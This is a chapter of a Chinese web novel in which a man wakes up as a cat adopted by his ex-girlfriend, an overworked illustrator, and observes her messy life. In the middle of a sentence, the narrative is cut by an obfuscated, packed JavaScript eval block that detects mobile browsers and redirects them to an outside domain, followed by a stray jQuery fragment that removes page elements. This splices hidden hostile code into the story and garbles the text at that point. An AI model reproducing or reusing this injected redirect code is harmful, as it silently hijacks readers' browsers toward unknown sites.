周予安的意识从混沌中浮起时,最先侵袭感官的是刺鼻的消毒水气味。那味道像一根钢针,直直刺入他混沌的脑海。
一声较为庆幸的男声传到周以桉耳中,“哎呦,醒啦,还挺顽强的嘛。”
周以桉睁了睁眼睛,努力聚焦视线,看到一张戴着天蓝色医用口罩的男人的脸。忽然脚上一冷,夹杂着痒意。
他猛地低头,两团毛茸茸的白色毛球映入眼帘,末端是五瓣绽开的粉色肉垫。其中一只正被医生用棉签轻轻拨弄,露出毛发底下嫩红的软肉。
原来是医生在帮他做清洁。
不知被碰到了哪一处,周以桉不受控的惊叫出声。
“喵——?!”
这?怎么变成猫叫了?一声猫叫像是道闪电劈开他的天灵盖。周以桉浑身毛发炸起,尾巴瞬间蓬成平时的两倍粗。他满脸错愕的下意识的往后躲开,却撞上了身后的金属笼子栏杆,发出“咚”的闷声。
周围的同伴都好奇的又警觉的观望着它。
“别怕,别怕。”医生轻声安慰着,又伸手过来抱它。
周以桉躲不掉了,被医生笑着按住乱蹬的后腿,“只是检查一下肉垫,很快就好了。”
周以桉锁着脑袋,靠在铁质栏杆上,任由医生检查。
没一会,门外突然传来类似高跟鞋敲击地面的声响,由远及近。那节奏让周以桉想起一位很久没联系的旧友——林小嘉。
记得和林小嘉约会时,她总是习惯性的迟到那么几分钟,她都是这样带着点着急地快步走来他面前,和这人的脚步节奏不能说一模一样,也十分相似。
“医生,它真的只是低血糖吗?”这个熟悉的女声,让周以桉全身血液凝固,林小嘉,怎么是她?
透过笼子的金属栏杆,周以桉看到一双栗棕色的高帮马丁靴,和他约会时,林小嘉穿过。视线逐渐上移,是包裹在修身牛仔裤里的纤细小腿,米色针织毛衣和一件米色短款风衣。
周以桉心中十分的激动,林小嘉怎么回到医院来,她不是向来最讨厌猫的吗?
没等他思考个所以然过来,只见林小嘉把额头贴在笼子上,琥珀色的瞳孔在栏杆后放大。即使打了遮瑕,眼底的黑也很难让人不在意。她明显是刚熬过夜,没休息超三小时就起来了。
周以桉的视线在林小嘉要伸手来摸它时,被她无名指上的一圈明显的戒痕锁住。那看痕迹,应该是长期佩戴戒指留下的印记。
周以桉所在的猫身,瞳孔皱缩,一脸委屈的“喵”了一声。
林小嘉订婚了?他们才分手半年,她就有新欢了?!
这个认知比周以桉变成猫了更让他呼吸困难。
医生好心的把周以桉抱出来给林小嘉检查,林小嘉放下手里的手机,手机被放到桌子,触动了锁屏。周以桉好不凑巧的,余光瞥见她的壁纸。那是一张合影,林小嘉穿着一件整洁的白裙子靠在西装男人的肩头,背景是某个酒店的旋转餐厅。
周以桉的世界再次崩塌了,那张合影,不会是男人向林小嘉求婚时所拍下的吧?
医生把检查单签好字交给林小嘉,说:“各项指标都正常。”
“可能是换了新环境应激了。”林小嘉摸摸周以桉的猫头,“跟妈妈回家咯。”
妈妈???
林小嘉是这只猫的妈妈?他要和林小嘉回家了。周以桉挣扎着猫身,从她怀里跳出来,躲到医生的办公桌下。
林小嘉不好意思的向医生道歉,弯下腰唤它名字,“安安,过来啊,不要打扰医生工作了哦。”
“快过来,不然回家没有罐头吃了哦。”
周以桉缩在角落里僵硬成一座冰雕。让他苦恼的是,猫身居然没做犹豫,朝林小嘉迈步。
这是多么荒谬的现实???
周以桉无奈苦笑,喉咙里却溢出“咕噜咕噜”类似撒娇的声音。更可怕的是,猫身不受控地调整姿势,把脑袋往她掌心蹭了蹭。
“看来它很喜欢你。”医生笑着说。
林小嘉也低头看它,眼角弯起柔软的弧度。周以桉重新被她抱在怀里,脑袋蹭着女人的下巴。那一瞬间,周以桉几乎要忘记所有,直到她握住手机时紧绷的手指上的戒痕刺入视线。
像一道永不愈合的伤疤。
林小嘉和医生道谢后告别,周以桉被她事先装在了宠物航空箱里。
林小嘉的住处离这家医院不远,一公里左右的距离。航空箱被她放置在了电动车的篮子里,周以桉的爪子死死地扒着铁丝网。透过铁丝网,他看到箱子外的世界突然变得庞大而狰狞。
垃圾桶像摩天大厦般高耸,汽车的轰鸣变得无比嘈杂,移动的街景在他眼前快速的一闪而过。
“安安,坐好哦。”林小嘉在红绿灯路口瞥他一眼,叮嘱道。周以桉透过航空箱,隔着一层与她对视,林小嘉弯起眼睛,俯下身来对他笑了笑。
林小嘉拉开一道拇指款的小口,安安的小脑袋可以探出来。随着她俯身,发梢垂落在他鼻尖,有些痒。安安甩了甩鼻子,闻到了熟悉的水蜜桃洗发水的味道。
林小嘉拐进一个老小区,将电动车停在楼下落了锁才拎着它上楼。她摸到钥匙开门,周以桉被丢在了地板上。
屋子里有些黑,有似有若无的霉潮气,及食品变质的味道。
林小嘉换了拖鞋,把安安从箱子里放了出来。
周以桉不是很乐意的样子,迟疑了一会,等她端着水出来,才磨蹭着迈步。他蹲在原地仰起头,环顾了整间屋子,也就是不能再简单的普通一居室。
周以桉的猫须在闻到扑面而来的酸臭气味时颤动。桌子上堆着几个吃完没丢的泡面桶,和其他零食包装袋。周以桉嫌弃的转开脸,看向林小嘉。
林小嘉对他笑了笑,将他抱在怀里轻轻抚摸毛发,“安安,昨天你真是吓坏我了,还好没事。”
怀中的猫讨好性的“喵”一声,其实是在吐槽:“我真是命大,这屋子不仅不透光,还一股味,林小嘉你什么时候这么堕落了?”
林小嘉枯燥的心灵被安安俘获,这也就是她为什么选择领养安安的原因之一。一个人真的很孤单,连个说话倾诉的同伴都没有。有了安安一切都好多了,林小嘉mua了安安几下,亲昵地询问:“安安你饿不饿,我给你开罐头好吃吗?接你之前拿了新快递,我们一起来拆开吧。”
周以桉已无力吐槽:我不饿,你还是先打扫卫生比较重要。
他从她怀里跳下来,摇着尾巴走了。林小嘉“哎”一声,“安安你去哪?”
玄关处有七八个未拆的快递箱子,被随意堆叠到一起,最底下的箱子都破了口。
周以桉的描述还不够夸张,等他跳到了沙发上,才知道茶几上有多乱,像是被飓风席卷过。足足有五个泡面桶,最上面的桶里面条已经泡发到变形了,散发一股酸臭味。
反观旁边立着的数位板,旁边散落着数张打印稿,最表面的一张不知何时被滴了
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15502450|170414||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
红彤彤的辣油。每张都被盖着猩红夺目的“驳回”印章,像是一道道未愈合的伤疤。
“安安,别乱动我的画稿。”林小嘉丢下没拆完的快递,警告道。她大步走过来,将沙发上换下来的几件衣服丢到卫生间的洗衣桶里。
林小嘉把周以桉放在电视柜旁,客厅里的唯一的净土——一个灰色的猫窝里,屁股下的垫子有些硌。
周以桉低头,用毛茸茸的双爪刨开。熟悉的黑色毛线衫映入眼帘,衣服已经被洗衣机洗到起球脱线,右边袖口处留有她缝补过的歪扭针脚。领口处被烟头所烫留下的拇指大的焦洞。
他记得,一场运动之后林小嘉靠在她怀里休息,他嘴里含着一根事后烟,别提多幸福了。
林小嘉一个没坐稳,差点摔了,他连烟都没来得及摘,领口被烫到也是后知后觉的。
原来,他找了好久的毛衣被她拿了去。
林小嘉把衣服整理好,挠着周以桉下巴解释:“临时做的,别嫌弃啊,还是很暖和的。”她的指尖在他耳朵上流连,声音轻的像是自言自语:“反正……”,修建的圆润的指甲无意识刮过毛衣袖口处的缝合,“那人也不要了。”
窗外的霓虹灯突然间变换颜色,蓝光透过纱窗在她细腻的脸庞上割裂出细碎的阴影。周以桉看到林小嘉的睫毛在眼下透出的青灰色暗影,比他们分手那天雨幕里的背影还要单薄。
林小嘉简单收拾了茶几,把吃完的垃圾,丢到垃圾袋里放在门旁。然后,收了阳台上的衣服去洗澡了。
周以桉卷缩在小小的猫窝里,心事重重。
夜晚,是林小嘉作为创作者最文思泉涌的时候。
凌晨两点的夜晚,只有半轮圆月挂在天边陪单身小嘉苦改画稿。
窗帘被拉紧,不漏一点夜光。房间内只有林小嘉的荧光屏还在工作,她的脸被照的惨白。
林小嘉五指深深插进发间,发绳早就不知飞奔到哪里,几缕碎发被静电吸附在屏幕上。周以桉看见了都会被吓一跳。
“甲方是不是瞎啊!”她咬牙切齿地戳着数位屏,极力地嘲讽,“这构图明明——”%&*&……
周以桉被她吵醒,一边伸懒腰一边嫌弃林小嘉,这么晚了,狗都睡了她还熬夜,难怪半年不见瘦了那么多。
他轻盈一跃跳到桌面上,肉垫落在键盘边缘没有发出半点声响。周以桉好奇地凑过去,看到屏幕上的设计稿被甲方批注“缺乏温暖”四个鲜红的大字。
“喵。”他下意识按住林小嘉颤抖的右手腕,绒毛触到微凉的皮肤才惊觉到这个动作多像从前她画不出图时,他从背后覆盖住她手掌的姿势。
林小嘉猛地僵住,睫毛在脸颊上投下颤动的阴影:“嗯?”
某种莫名的冲动涌上心头,驱使他踩上键盘。肉垫在屏幕上留下无痕的脚印,#%&&!#@,可不论他怎么操作,留下来的只是一串毫无意义的符号组合在文档里跳动。
林小嘉哭笑不得的开口:“……你也要嘲笑我嘛,安安?”
她声音像是绷到极致的琴弦,却在瞥见草稿本的瞬间瞳孔皱缩。她惊喜的发现,被咖啡渍晕染的速写本上,某个被划掉的创意构图里,好似有值得一用。
林小嘉激动的捞着周以桉猛吸了几口,“安安你是幸运神来拯救我的嘛,谢谢你。”周以桉只受不了的喵了几声,便被可恶的女人丢在沙发了。
周以桉舔舐着猫爪,心想:林小嘉还是那么的容易冲动,例如刚刚。